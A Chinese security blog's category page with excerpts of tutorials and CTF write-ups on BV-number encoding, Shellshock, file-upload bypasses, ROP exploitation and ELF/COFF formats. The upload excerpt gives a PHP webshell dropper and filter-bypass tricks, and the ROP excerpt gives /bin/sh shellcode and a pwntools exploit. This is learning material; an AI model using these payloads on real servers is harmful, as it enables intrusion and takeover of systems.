夜间模式暗黑模式
字体
阴影
滤镜
圆角

Category: Security

9 篇文章

thumbnail
【MiniLCTF 2020】浅析Bilibili的BV号算法
因为要给miniLCTF出题,正好趁机沉下心来研究一下B站的BV号是怎么一回事。顺便把这篇文章当做BilibiliDV题目的官方wp。在看这篇文章之前还是非常建议读者参考知乎的高赞回答。个人感觉在刚公布BV号的事实一天之后就写出了转换脚本,还是挺厉害的!这也是我出题的动机。 参考链接: 如何看待 2020 年 3 月 23 日哔哩哔哩将稿件的「av 号」变更为「BV 号」?- mcfx的回答 题目给的样本文件有一点大,为了方便一点,我就直接给出样本文件的生成脚本,可以自己跑一遍来生成一下: baseTable = 'd59nD71EcAt38aT24eCN06' baseArray = {} for i in range(22): baseArray[baseTable[i]] = i xor = 50790 inc = 114514 startNum = 1000000 endNum = 4000000 dvStaticStr = 'DV t ACD Ne ' dynIndex = [12, 11, 8, 4, 2] def encrypt(x): x = (x ^ xor) + inc dvNum = list(dvStaticStr) for i in range(5): dvNum[dynIndex[i]] = baseTable[x // 22 ** i % 22] return ''.join(dvNum) def decrypt(x): r = 0 for i in range(5): r += baseArray[x[dynIndex[i]]] * 22 ** i return (r - inc) ^ xor file = open('av1000000To3999999.txt', 'w') for num in range(startNum, endNum): file.write('av'+str(num)+' - '+encrypt(num)+'\n') 提前看到生成脚本的编码逻辑其实也没啥关系,这题重要的地方在于怎么去把这个逻辑给找出来,这是最关键的。 0x01 准备工作 一开始的工作是“观察”,找一些表面规律。一般来说,这个阶段应该找到这些事实: 算上开头的DV标识,DV号总长度是13个字符,固定不变。某些固定位上的字符固定不变,动态位用X表示出来就是这样的:DVXtXACDXNeXX 其实你把固定位上的字符拿出来看一下,是个有意义的一串字符:tACDNe。这样子可能看不出来,倒过来试试:eNDCAt。是不是发现了什么!在之后的工作中其实也有很多这样“有意思的地方”。 其实再观察的仔细一点你会发现,av号每增加一位的时候,对应dv号其实不是那种“翻天覆地”的变化,我把它亲切的称呼为“类似进位的变化规律”: 应当想到这可能是一种单表替换的编码方式,而且这个单表的顺序看起来也被打乱了。而且某些dv号在av递增时改变的位数不止一位,这样的变化情况也不是“等间距”发生的事件,事情慢慢变得麻烦起来了。这个阶段我觉得应该发现的事实有: 可能是数值转换为某种形式后进行了列表替换随着av号的递增,dv号的改变是从最末位的变化位开始变化,随后往更高位变化 0x02 base? 其实在比赛的过程中我发现已经很少有人能够做到这步了。对于替换表这样的编码方式,频率分析其实是非常重要的一个方法。我们针对样本的最后一位进行分析,并给出分析脚本: file = open('av1000000To3999999.txt', 'r') charDict = {} while True: line = file.readline() if not line: break endChar = line[-2] if endChar in charDict: charDict[endChar] = charDict[endChar] + 1 else: charDict[endChar] = 1 print(charDict) # result: # {'8': 136363, 'a': 136363, 't': 136363, '3': 136363, # 'c': 136363, 'A': 136363, '1':…
thumbnail
C++虚函数和UAF
0x01 前置知识 虚函数 在C++里面,如果类里面有虚函数,它就会有一个虚函数表的指针__vfptr(virtual function pointer),存放在类对象最开始的内存数据中,在这之后就是类中成员变量的内存数据。对于其子类来说,最开始的内存数据记录着父类对象的拷贝,包括父类虚函数表指针和成员变量,紧接其后的是子类自己的成员变量数据。 BaseClass​   +-------------+   |             |   | __vfptr   | <------+ when virtual   |             |         function exists   +-------------+   |             |   | Base data | +-------------+   |             |               |   +-------------+               | (same as)                                 |Child                           v​   +-------------+         +------------+   |             |         | __vfptr   |   | base copy | +------> +------------+   |             |         | base data |   +-------------+         +------------+   |…
thumbnail
CVE-2014-6271漏洞分析
0x01 Intro 虽然是比较久远的破壳漏洞了,但是最近刷pwnablekr的时候碰到了这个知识点,就稍微整理一下。这个CVE影响范围为GNU Bash 4.3之前,Bash在读取某些刻意构造的环境变量时会存在安全漏洞。因为某些服务和应用允许未经身份验证的攻击者提供精心构造的环境变量,攻击者利用这个漏洞可以实现绕过环境限制执行Shell命令。 0x02 环境变量 什么是环境变量呢,通过下面的方法就可以定义一个简单的环境变量: $ foo="hello world" 然后我们就可以使用这个变量,比如echo $foo。但是这个变量只能在当前的shell进程才能访问,比如在shell中fork出来的进程就访问不到$foo。如果需要在shell的子进程中访问,需要在前面添加export: $ export bar="hello world" 如果需要查看一下当前shell下有哪些环境变量可以在子进程中可见,使用env命令。另外,env也可以用来定义export的环境变量: $ env var="hello endcat" 同样,shell下不仅可以定义环境变量,也可以定义函数。同样的,如果想要在子进程中访问,也需要在前面加上export。 $ foo(){ echo "hello world"; } 0x03 漏洞成因 先来看一下CVE-2014-6271的poc: $ env x='() { :;}; echo vulnerable' bash -c "echo this is a test" 前面说到,Shell里面可以定义变量,在poc中定义了一个名称为x的变量,内容是一个字符串() { :;}; echo vulnerable,根据漏洞信息知道,这个漏洞产生在shell处理函数定义的时候,执行了函数体后面的命令。在这个例子中,就是echo vulnerable。你可能会感到奇怪,x明明是一个字符串,为什么会变成函数? 来看一下GNU Bash 4.3之前的函数实现,一般来说定义一个函数的格式是这样的: function function_name(){body;} 当Bash在初始化环境变量的时候,语法解析器发现小括号和大括号的时候,就认为它是一个函数定义。比如foo='(){ echo endcat }',bash就会认为这是一个函数定义,并把foo作为其值的函数名,其值就是函数体。通过typeset可以查看当前环境的所有变量和函数定义。 至于调用函数定义后面的语句的原因,是因为bash在初始化的时候调用了builtins/evalstring.c中的parse_and_execute函数,这个函数负责了解析字符串输入并执行的工作。在源码中有一行来判定命令是否为全局的: else if (command = global_command){    struct fd_bitmap *bitmap;   ...} 事实上在bash进程启动后,会把poc中的x函数解析成解析全局函数。通过typeset -f查看在定义的x后面会有一句declare -fx say_hello。declare是bash内置命令,用于限定变量的属性。-f表征变量为函数,-x表征变量被export成一个全局函数。其实bash在整个解析初始环境变量的过程中,采用的是foo=bar的赋值语句去用eval执行一遍;如果出现了函数定义就把它转变为函数,在转变的过程中没有严格检查,连带执行了后面的命令。为了避免这个问题,加上了这样一条补丁: #define SEVAL_FUNCDEF 0x080       /* only allow function definitions */#define SEVAL_ONECMD 0x100       /* only allow a single command */if ((flags & SEVAL_FUNCDEF)  && (command->type != cm_function_def){    break;}if (flags & SEVAL_ONECMD) break; 但是,还是被惨遭bypass: $ env X='() { (x)=>\' sh -c "echo date"; cat echo 补丁思路的意思是,如果不是函数定义/超过一个命令就认为不合法。但实际上在poc中,函数体为(){,同时又因为没有;分号,它也是一个单命令。Bash shell在执行eval的时候会遇到语法问题,从而把(x)=忽略掉,然后缓冲区就剩下了>\两个字符。然后bash就执行了这个指令: $ >\my echo hello 来回忆一下bash的语法,首先>为重定位字符,可以理解为把字符前面的东西写入到字符后面里面。比如A > B就意味着把进程A的输出写入到文件B中,实际上和> B A是等价的。具体来说,重定向的语法定义是这样的: redirection: '>' WORD{ redir.filename = $2; $$ = make_redirection (1, r_output_direction, redir);} \是转移字符,保留后面的文本。只在终端输入\并回车后bash进程会被阻塞并等待用户输入。 综上所述,poc在执行的时候相当于执行了>\my echo hello,效果为在路径下面生成了my文件,内容为hello。
thumbnail
对CTF中Misc题目的碎碎念
我觉得在大多数人看来,Misc在CTF竞赛中的档次是最低的。感觉就像是题目出得太少然后拿Misc这种意义不明啥都可以出的Category来凑点数。我的结论:确实如此。但是一般的小型CTF赛事,其本身、各个方向的题目都是如此。 如果对CTF相关投资自己的精力,我认为对于未来的发展帮助是微乎及微的。当然这里不包括参加某些赛事拿个奖可以对自己名利上的晋升有一定帮助的情况,虽然我对这些东西也不感兴趣。但是有时候也是不得已的事情,相信你也会懂。另外有一点对CTF前景不太看好的原因是它的商业性质越来越重了,当出题的动力都是源于利益的时候,你就会发现做过的题,都是抄来抄去的考点,尚有的创新就是考点套娃。套娃是最致命的,常常会被认为是“脑洞太大”。出现了脑洞的问题,我觉得CTF竞赛就失去了部分的意义。它本来就是出题人和做题人之间的思维博弈,做不出题无非两个原因,一是知识盲区,二是脑洞太大(或者说出题的突破点没有放置在一个合理的位置)。这个过程中完全就是出题人主导性的,出题的好坏就决定了做题人的体验。 另一方面,如果真要学习CTF的话,最恰当的方式还是边刷题边学习。在这之前首先要学会一些命令行的操作和计科常识,然后通过入门一些简单的题总体规划某个方向的题目它会用怎样的手段来考你。之后对某个方向有了整体的认知之后,就去系统的学习题目的种类,或者说题型更为恰当。打CTF其实和acm,甚至和高考没差。首先有最基本的知识保证自己看得懂题目,然后通过不停的练习找到套路,然后就是实战上考场,最后的高考就可以类比为一些CTF的知名赛事。 对Misc手的一些经验,我看到了最近的题目越来越不向常规的套路走了。所以你真的要纯靠刷题来获得解题经验的话,我觉得不太行。相比之下我觉得web和二进制方面更有系统化的解题思路,不过其他类型也应该差不多。题目老是去出一些常规套路,那对于那些刷题的“书呆子”就很有利。我觉得这样的比赛创新一点是非常不错的,一方面能消除经验带来的隔阂,使得老赛棍能和新手一起有同台竞技的资本。 再刷一点题,我就去看一下其他方向的赛题情况了。我不是专门在一个方向上的所谓xxx手。我是那种“全都要”的人。因为我不觉得诸如比赛,安全云云之类,存在web二进制密码学这样的隔阂。从哲学的层面理解的话,所有事物都会是相通的。 在文章的最后我稍微提供一些干货,主要是我在解Misc题的时候,解题环境方面是怎么样一个情况,给大家一个样例。 我使用的是Windows+WSL的方式。Windows给我提供了很方便的桌面端app的支持,主要是考虑到某些解题软件需要。同时在Win主机上编写代码十分方便,也非常适合我。最为重要的是WSL,WSL提供了Linux环境下的命令行程序支持。拥有了两个平台的程序支持在解题的时候如鱼得水。WSL推荐的DIstribution我推荐Kali,不过WSL提供的镜像包没有原装一些重要的工具,需要使用apt在kali本体安装之后进行安装。不使用虚拟机的原因是,我的硬盘已经被开发环境堆满了……等以后赚钱了一定买一个磁盘容量大一点的PC。而且不是用虚拟机的原因是因为相比较终端直接起用一个shell的便捷方式,我觉得没人会再去等好一会让虚拟机开机。而且更加重要的一点是WSL的目录文件可以在Explorer下很方便的进行查看管理。这点上来看,我更加喜欢使用WSL而不是笨重的虚拟机。 解题工具方面,其实一直刷题,你的工具就会越来越多的。提前装了一大堆工具又有什么用呢,不去按需使用最终造成的结果就是浪费磁盘空间,而且这么多工具你一个不会。 这算是我对Misc的个人小结吧,Web/密码学/二进制的个人小结也是未来可期。对自己要求高一点。文章开头的碎碎念都是我的个人意见,啊如果你对CTF超级狂热,希望你要一直努力,欢迎交流。
thumbnail
一些基本的上传漏洞
文件解析漏洞 解析漏洞主要说的是一些特殊的文件被iis、apache、nginx在某种情况下解释成脚本文件格式的漏洞 IIS 5.x/6.0解析漏洞 IIS 6.0解析利用方法有两种 1、目录解析 /xx.asp/xx.jpg 在网站下建立文件夹名字为.asp、.asa的文件夹,其目录内的任何拓展名的文件都被IIS当做asp文件来解析并执行 2、文件解析 Xx.asp;.jpg 第二种,在IIS 6.0下,分号后面的不被解析,也就是说会被服务器看成是xx.asp IIS 6.0默认的可执行文件除了asp还包含这三种 /xx.asa   /xx.cer   /xx.cdx Apache解析漏洞 apache是从右到左开始判断解析,如果为不可识别解析,就再往左判断 比如xx.php.owf.rar  owf和rar这两种后缀是apache不可识别解析,apache就会把xx.php.owf.rar解析成xx.php 如何判断是不是合法的后缀就是这个漏洞的利用关键,测试时可以尝试上传一个xx.php.rar.jpg.png…… 把你知道的常见后缀都写上去,去测试是否为合法后缀 任意不识别的后缀,逐级向上识别 IIS 7.0/IIS 7.5/Nginx <8.03畸形解析漏洞 nginx解析漏洞由80sec发现 在默认Fast-CGI开启状况下,上传一个名字为xx.jpg,内容为 <?php fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');?> 的文件,然后访问xx.jpg/.php,在这个目录下就会生成一句话木马shell.php www.xxx.com/logo.gif/*.php 触发漏洞 有漏洞会把前面文件当做php执行 截断漏洞 x.asp00%.jpg 第二种解析漏洞 a.aspx.a;.a.aspx.jpg..jpg Nginx <8.03 空字节代码执行漏洞 影响版:0.5./0.6./0.7<=0.7.65/0.8<=0.8.37\ Nginx在图片中嵌入php代码然后通过访问xxx.php%00.jpg来执行代码 htaccess文件解析 如果在apache中.htaccess可被执行,且可被上传,那可以尝试在.htaccess中写入 <FilesMatch "shell.jpg">SetHandler application/x-https-php</FilesMatch> 然后再上传shell.jpg的木马,这样shell就可解析成为php文件 上传检测流程概述 通常一个文件以http协议进行上传时,将以post请求发送至web服务器。web服务器接收到请求后并同意后,用户与web服务器将建立连接,并传输data。 对发送的数据通常进行检测,一种是js本地检测,还有一种是服务器端远程检测 服务器命名规则 第一种类型:上传文件名和服务器命名一致 第二种类型:上传文件名和服务器命名不一致(随机,日期时间命名等) 上传一个文件a.asp,第一种文件名无变动,第二种可能为20xx-xx-xx.asp 常见的上传检测方式 客户端javascript检测(通常是为检测文件拓展名) 服务端mime类型检测(检测content-type内容) 服务端目录路径检测(检测跟path参数相关的内容) 服务端文件拓展名检测(检测跟文件extension相关的内容) 服务端文件内容检测(检测内容是否合法或含有恶意代码) 客户端检测绕过(JavaScript检测) 首先判断js本地验证 通常可以根据它的验证警告弹框的速度可以判断,如果你电脑运行比较快,那么我们就可以用bp抓包,再点击提交的时候bp没有抓到包,就已经弹框那么说明这个就是本地js验证 绕过办法: 1、使用bp抓包改名 2、使用firebug直接删除掉本地验证的js代码 3、添加js验证的白名单如将php的格式添加进去 服务端检测绕过(mime类型检测) mime的作用,使客户端软件,区分不同种类的数据,例如web浏览器就是通过mime类型来判断文件是gif图片,还是可打印的postscript文件。 web服务器使用mime来说明发送数据的种类,web客户端使用mime来说明希望接收到的数据种类 tomcat的安装目录\conf\web.xml 中就定义了大量mime类型,也可以看一下 绕过方法: 直接使用burp抓包,得到post上传数据后,将content-type: text/plain改成 image/gif就可以成功绕过 服务端检测绕过(目录路径检测) 目录路径检测,一般就检测路径是否合法,但稍微特殊一点的都没有防御。比如比较新的 fckeditor php <= 2.6.4 任意文件上传漏洞 当post下面的url的时候 /fckeditor264/filemanager/connectors/php/connector.php?Command=FileUpload&Type=Image&CurrentFolder=fuck.php%00.gif HTTP/1.0 CurrentFolder 这个变量的值会传到ServerMapFolder($resourceType,$folderPath,$sCommand)中的形参$folder里,而$folder在这个函数中并没做任何检测,就被CombinePaths()了 服务端检测绕过(文件拓展名检测) 黑名单检测 黑名单的安全性比白名单的安全性低很多,攻击手法自然也比白名单多。一般有个专门的blacklist文件,里面会包含常见的危险脚本文件,例如fckeditor 2.4.3 或之前版本的黑名单 白名单检测 白名单相对来说比黑名单安全一些,但也不见得就绝对安全 绕过黑名单: 1、文件名大小写绕过 2、名单列表绕过。用黑名单里没有的名单进行攻击,比如黑名单里没有asa或cer之类 3、特殊文件名绕过。比如发送的http包里把文件名改成test.asp. 或者 test.asp_(下划线为空格),这种命名方式在windows系统里是不被允许的,所以需要在burp之类里进行修改,然后绕过验证后,会被windows系统自动去掉后面的点和空格,但要注意Unix/Linux系统没有这个特性 4、0x00截断绕过。上传文件为xx.php%00.jpg 其中%00在repeater中用ctrl+shift+t 5、.htaccess 文件攻击。配合名单列表绕过,上传一个自定义的.htaccess,就可以轻松绕过检测 6、解析调用/漏洞绕过。这类漏洞直接配合上传一个代码注入过的非黑名单文件即可,再利用解析调用/漏洞 绕过白名单: 1、0x00截断绕过 用像test.asp%00.jpg的方式进行截断,属于白名单文件,再利用服务端代码的检测逻辑漏洞进行攻击,目前asp漏洞较多 2、解析调用/漏洞绕过 这类漏洞直接配合上传一个代码注入过的白名单文件即可,再利用解析调用/漏洞.htaccess文件攻击 通过一个.htaccess文件调用php的解析器去解析一个文件名中只要包含"haha"这个字符串的任意文件,所以无论文件名是什么样子,只要包含"haha"这个字符串,都可以被以php的方式来解析,一个自定义的.htaccess文件就可以以各种各样的方式去绕过很多上传验证机制 例如新建一个.htaccess文件,里面内容如下 <FileMatch "haha">SetHandler application/x-httpd-php</FileMatch> 同目录有个我们上传一个只有文件名并包含字符串"haha",但是却无任何扩展名的文件里面的内容是php一句话木马 双文件上传 检测了第一个文件,没有检测第二个 服务端检测绕过(文件内容检测) 如果文件内容检测设置比较严格,那么上传攻击将变得非常困难。也可以说是它在代码层检测的最后一道关卡。如果它被突破了,就算没有代码层的漏洞,也给后面利用应用层的解析漏洞带来了机会。 绕过文件头 修改文件头特征即可 文件加载检测 最变态的检测,一般调用api或函数去进行文件加载测试,最常见的是图像渲染测试,再变态点就是二次渲染。对渲染/加载测试的攻击方式是代码注入绕过,对二次渲染的攻击方式是攻击文件加载其自身。 对渲染/加载测试攻击-代码注入绕过。可以用图像处理软件对一张图片进行代码注入,用winhex看数据可以分析出这类工具的原理是在不破坏文件本身的渲染情况下找一个空白区进行填充代码,一般会是图片的注释区,对于渲染测试基本上都能绕过,毕竟本身的文件结构是完整的。 绕过二次渲染 攻击函数本身 通过上传不完整的图片让其渲染函数暴露,然后攻击 第二种方法:对文件加载器进行溢出攻击
thumbnail
密码编码的一些基本方法
置换密码 置换密码指对明文字符在不改变其原型的基础上,按照密钥的指示规则,对明文字符进行位置移动的密码。置换密码打乱了明文字符之间的跟随关系,使得明文自身具有的结构规律得到破坏。 缺点: 明文字符形态不变 一个密文字符的出现的次数也是该字符在明文中的出现次数 一些方法:倒序置换、矩阵排列置换,给定密钥进行顺序矩阵置换 代替密码 代替密码是利用预先设计的代替规则,对明文逐字符或逐字符组进行代替的密码,代替密码的代替规则就是其秘钥。从广义上讲,由于所有的加密算法都是密文对明文的代替,因而都是代替密码。代替密码可以分为单表代替密码和多表代替密码。 单表代替密码 几种典型的简单代替密码 加法密码 乘法密码 仿射密码 单表代替密码的优点 明文字符得到了隐蔽 单表代替密码的缺点 如果明文字符相同,则密文字符也相同 一个密文字符在密文中出现的频次,就是它对应的明文字符在明文中出现的频次 明文字符之间的跟随关系直接反映在密文中 如果一个明文组能够被多个密文字符组代替,那么密文字符组的统计规律就可能变得更加均匀,从而更加安全,这就是多表代替密码的思想。 多表代替密码 Vigenre密码 首先确定一个由字符组成的密钥,假如为endcat 开始加密明文中的第一个字符,在明文索引方向上找到该字母。同时选取密钥中的第一个字符e,在密钥索引方向上找到该字母。最后通过十字交叉法找到vigenre方阵中的字符,即为加密字符。 同理逐字符加密,如果密钥长度不够则循环处理。 转轮密码机Rotor Machine(Enigma为例) Vernam密码
thumbnail
从零开始的ROP(一)
0x00 Preface 这是Linux x86环境下的ROP哦。忠于个人的习惯,首先分析ROP的全称。ROP全称为Return-oriented Programming(返回导向编程),是一种高级的内存攻击技术。接下来看一下各式各样的ROP攻击方法,参考文章为蒸米前辈的《一步一步学ROP》系列(原来在乌云,现在在跳跳糖)。我尽量加入作为初学者的一些想法来看待这些文章,原则上一些不懂的概念就会去查阅并明确指出。 0x01 Control Flow Hijack Control Flow Hijack的意思就是程序流劫持。当然直译其实是控制流劫持。程序流和控制流如果表达同一种意思的话,可以理解为程序由代码控制而一步步依照代码执行。那么ROP的攻击方法就是要在内存上找到可以攻击的漏洞实现“劫持”的操作。文章中说通过程序流劫持,攻击者可以通过控制PC指针从而执行目标代码。而针对这个攻击手段自然有相应的防御手段,常见的有: DEP 堆栈不可执行ASLR 内存地址随机化Stack Protector 栈保护 作为攻击者一方自然要设计出攻击方法能够绕过上述的种种保护措施。文章中写了针对不同的保护措施提出的不同攻击方法,这里我尽量将攻击手法复现并加入我自己的想法。 漏洞程序 #include <stdio.h> #include <stdlib.h> #include <unistd.h> void vulnerable_function() { char buf[128]; read(STDIN_FILENO, buf, 256); } int main(int argc, char** argv) { vulnerable_function(); write(STDOUT_FILENO, "Hello, World\n", 13); } 编译参数 #bash gcc -fno-stack-protector -z execstack -o level1 level1.c 在shell中执行 sudo -s echo 0 > /proc/sys/kernel/randomize_va_space exit 作用为 -fno-stack-protector 关闭DEP保护-z execstack 关闭Stack Protector保护echo 0 > /proc/sys/kernel/randomize_va_space 关闭整个Linux系统的ASLR保护。 万事俱备!接下来可以看一下源代码的漏洞点,马上就可以发现: read(STDIN_FILENO, buf, 256); 在vulnerable function里面的read函数读取了字符。read函数中第一个参数指定文件流,这里是标准文件输入。第二个与第三个参数想要说明的意思是read函数会把文件流中256个字节数读到buf指针指向的内存空间中,如果成功读入返回读取的字节数,否则返回-1。同时要注意到声明中buf[128]只给定了128个字符的空间。如果说我输入了超过128且小于256个字节的数据的话,超过128个字节的部分会到哪里去呢?我知道的是,这样的溢出情况可以影响到整个程序装载入内存空间的部分,若是能够利用溢出的部分,我们可以实现一些其他的坏坏的功能,我想这是攻击的基本原理。 回到文章,运行程序,输入超过128个字符的数据。这里作者采用了pattern脚本生成了一段字符串数据: Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9 很容易发现这串数据是有特点的,规律为三个一组。有规律的字符串可以在后期确定溢出点的精确位置。然后作者的pattern脚本写得挺硬核的,就是一大长串的预设好的字符串,要多长就取多长… talk is cheap,不如使用gdb运行一下程序? gdb ./level1 gdb 很明确的返回给我们了一个内存出错的地址0x37654136,拿到了这个错误的地址我们怎么确定内存溢出点呢? 看这一段 Program received signal SIGSEGV, Segmentation fault. 0x37654136 in ?? () 这段文字想要告诉我们的是,刚才使用的payload(就是那一长串字符)覆盖到了程序的返回地址(就是ret地址)。返回地址长度为四个字节,就是程序返回的0x37654136。这个返回值是可以解析的,原因是上文提到了payload具有一定的规律性。翻了下pattern.py中的源码发现37654136为Ascii码,解析即得6Ae7。而6Ae7是payload中的一段子串,确定其位置就可以确定出偏移量Offset为140。 这时要有一个想法,就是使用payload可以控制程序的返回地址。只要构造一个字符串就可以任意指定返回地址。然后只要在我们指定的返回地址上运行我们自己的坏坏程序就可以达成攻击目的了。 坏坏程序就是shellcode,可以用msf生成,也可以用现成的 https://www.exploit-db.com/exploits/37251 shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc2\xb0\x0b\xcd\x80"; 这一段shellcode的作用是执行execve("/bin/sh")的命令,用于控制目标机的shell。 到这里我们已经有了shellcode和溢出点。接下来的问题就是如何让程序跳转到shellcode的地址上。这里给出一个想法,将shellcode放在buf开头,将要覆盖的地址放在buf的最后。所以,要覆盖的地址就是buf的地址。跳转到buf地址就可以执行保存在buf开头的shellcode。现在的问题就是得到buf的地址啦。为了防止gdb的调试环境使buf内存位置变动,这里采用core dump的方法。 开启core dump功能 ulimit -c unlimited sudo sh -c 'echo "/tmp/core.%t" > /proc/sys/kernel/core_pattern' 开启了这个功能以后,程序出现内存错误的时候,系统会生成一个core dump文件在tmp目录下。然后通过gdb查看这个文件就可以知道buf地址。 0xffec16c0: "BBBB", 'A' <repeats 153 times>, "\n" 从这一行就可以知道buf的地址为0xffec16c0。由此exp得出: #!/usr/bin/env python from pwn import * p = process('./level1') ret = 0xffec16c0 shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc2\xb0\x0b\xcd\x80" payload = flat([shellcode, 'A'*(140 - len(shellcode)), ret]) p.send(payload) p.interactive() 0x02 Ret2libc 试试只打开DEP。 gcc -fno-stack-protector -o level2 level2.c 记得DEP是堆栈不可执行保护,所以level1的方法失效。那么应该到哪里去找shellcode呢。 提出一点,编译源代码的时候链接了libc.so函数库,函数库中有许多可用函数可供使用。如果能构造出来system("/bin/sh")这样的语句话可以实现getshell。同时注意到ASLR保护没开,意味着system函数在内存中的位置没有变化,同样/bin/sh这个字符串应该可以在libc中找到。先来找找看: 发现一件事情,/bin/sh这个字符串找不到(???我做了个假题???)。那应该怎么办,可以由自己来构造吗?答案是肯定的。甚至可以想如果system函数也不可直接得到,也是有方法可以找到其函数地址的。 首先来泄露__libc_start_main的地址,它是程序最初被执行的地方。 sh = process('./level2') level2 = ELF('./level2') putsPlt…
thumbnail
从零开始的ELF分析(一)
什么是ELF?了解一个英文缩写要首先从它的全称开始看起。ELF的英文全称是Executable and Linkable Format(可执行与可链接格式)。扔掉限定词,ELF就是一种格式。 接着,了解计算机科学中的一个概念,还需要了解它的历史渊源。 在1999年的时候,ELF这种格式被x86架构上的类Unix操作系统的二进制文件标准格式。它被用来取代当时的COFF,取代的原因是ELF具备更强的可扩展性和灵活性,能够应用于其他处理器和其他计算机架构的操作系统上。这里的COFF可以猜到是另外一种文件格式。ELF在很大程度上是基于COFF的具体实现的,我们简要介绍一下COFF。 COFF的全称为Common Object File Format(通用对象文件格式),COFF统一了目标文件的格式为混合语言编程带来了极大的方便。这里的目标文件,就是编译器产生的目标文件,常见后缀为.o和.obj。当然COFF的范围远不限于目标文件,包括在内的还有库文件、可执行文件都是COFF的格式。 COFF的文件数据种类共有8种,分别是 文件头(File Header)可选头(Optional Header)段落头(Section Header)段落数据(Section Data)重定位表(Relocation Directives)行号表(Line Numbers)符号表(Symbol Table)字符串表(String Table) 除了其中的段落头可以有多个节(因为可以有多个段落),其他的部分至多只有一个。接下来分别概述每一个数据种类的作用: 文件头:作为COFF文件的文件头,在其中保存有关该文件的基本信息,像文件标识、各个表的位置等。可选头:顾名思义,可有可无的头。通常在目标文件中都没有这一部分,然而在其他如可执行文件中就存在这个部分,通常用来补充说明文件头中缺失的信息。段落头:用来描述段落信息,每一个段落都有一个段落头来说明,段落的数目也会在文件头中指出。段落数据:通常为COFF中最大的数据段,每个段落保存的真正数据就在这个部分,每一个部分的具体区分方法参见段落头给出的信息。重定位表:通常在目标文件中出现,用来描述COFF文件中符号的重定位信息。重定位指的是把程序的逻辑地址空间变换成内存中的实际物理地址空间的过程,它是实现多个程序在内存中同时运行的基础。符号表:保存COFF中所用到的所有符号的信息。符号表在计算机科学中,是一种用于编译器或解释器中的数据结构。程序的源代码中的每个标识符都和它的声明或使用信息绑定在一起。这个表可以帮助我们重定位符号,在调试程序的时候也得以使用。字符串表:用于保存字符串。在早期符号表是以记录的形式来描述符号信息的,但它只为了符号名称留置了8个字符的空间,显然是不够用的。没有办法只能将名称存放在字符串表中,而符号表中只记录这些字符串的位置。 接下来是逐个段落的详细分析 文件头 文件头是从文件的0偏移处开始的,C语言下的结构描述为 typedef struct { unsigned short usMagic; //魔法数字 unsigned short usNumSec; // 段落(Section)数 unsigned long ulTime; //时间戳 unsigned long ulSymbolOffset; // 符号表偏移 unsigned long ulNumSymbol; // 符号数 unsigned short usOptHdrSZ; // 可选头长度 unsigned short usFlags; // 文件标记 } FILEHDR; usMagic成员是一个魔法数字,可以认定为是一个平台标识,在不同的平台上具有不同的魔法数字,例如在i386平台上,魔法数字为0x014c。usNumSec用来描述段落的数量。ulTime是一个时间戳,它用来描述COFF时间的建立时间。当COFF文件为一个可执行文件时,这个时间戳经常用来当做一个加密比对的标识。ulSymbolOffset表示符号表在文件中的偏移量,是一个绝对偏移量,从文件头开始计数。在COFF中的其他偏移量都是类似的绝对偏移量。ulNumSymbol成员给出了符号表中符号记录的数量。ulOptHdrSZ是可选头的长度,通常为0。其中通过这个成员可以读出可选头的不同长度,不同长度对应了不同可选头的类型,便于进行针对处理。usFlag是COFF的属性标记,标识了COFF文件的类型,文件中所保存的数据等等信息。具体如图 Flag bits 可选头 可选头接在文件头后面,从COFF文件的0x0014偏移处开始。不同长度的可选头结构也不同,标准的可选头长度为24或28字节(28居多)。以28字节为例的头结构如下: typedef struct { unsigned short usMagic; // 魔法数字 unsigned short usVersion; // 版本标识 unsigned long ulTextSize; // 正文(text)段大小 unsigned long ulInitDataSZ; // 已初始化数据段大小 unsigned long ulUninitDataSZ; // 未初始化数据段大小 unsigned long ulEntry; //入口点 unsigned long ulTextBase; // 正文段基址 unsigned long ulDataBase; //数据段基址(在PE32中才有) } OPTHDR; usMagic这时应该是0x010b或0x0107。0x010b表示COFF文件是一个一般的可执行文件。0x0107表示COFF文件是一个ROM镜像文件。usVersion标识COFF文件的版本。ulTextSize表示可执行COFF的正文段长度ulEntry是程序的入口点,也就是COFF文件载入内存时正文段的位置(EIP寄存器的值)。当COFF文件是一个动态库时,入口点就是动态库的入口函数。 段落头 必不可少的节(同样还有文件头)。段落头在可选段的后面(如果可选头的长度为0,即紧跟在文件头后)。长度为40个字节,如下: typedef struct { char cName[8]; // 段名 unsigned long ulVSize; // 虚拟大小 unsigned long ulVAddr; //虚拟地址 unsigned long ulSize; // 段长度 unsigned long ulSecOffset; // 段数据偏移 unsigned long ulRelOffset; // 段重定位表偏移 unsigned long ulLNOffset; // 行号表偏移 unsigned short usNumRel; // 重定位表长度 unsigned short usNumLN; // 行号表长度 unsigned long ulFlags; // 段标识 } SECHDR; cName用来保存段名,常见有.text(正文段、代码段),.data(数据段,保存初始化过的数据),.bss(保存未初始化的数据),.comment(COFF文件的注释信息)。ulVSize是段数据载入内存时的大小。只在可执行文件中有效,在目标文件中为0。如果长度大于段的实际长度,多余部分用0补齐。ulVAddr是段数据载入或链接时的虚拟地址。对于可执行文件来说是相对于文件地址空间而言的段中数据的第一个字节的位置。对于目标文件而言,是重定位时段数据当前位置的一个偏移量,因计算简化通常设为0。ulSize段数据的实际长度。ulSecOffset指的是段数据在COFF文件中的偏移量。ulRelOffset指的是该段的重定位信息的偏移量,指向了重定位表的一个记录。ulNOffset指的是段的行号表的偏移量,指向行号表中的一个记录。usNumRel是重定位信息的记录数。从ulRelOffset指向的记录开始,到第ulNumRel个记录开始都是该段的重定位信息。ulFlags是该段的属性标识,具体值如下图: Flag bits 段落数据 段落数据是保存各个段的数据的位置。在目标文件中,这些数据都是原始数据(Raw Data)。不同类型的段,数据的内容、结构都不相同。 重定位表 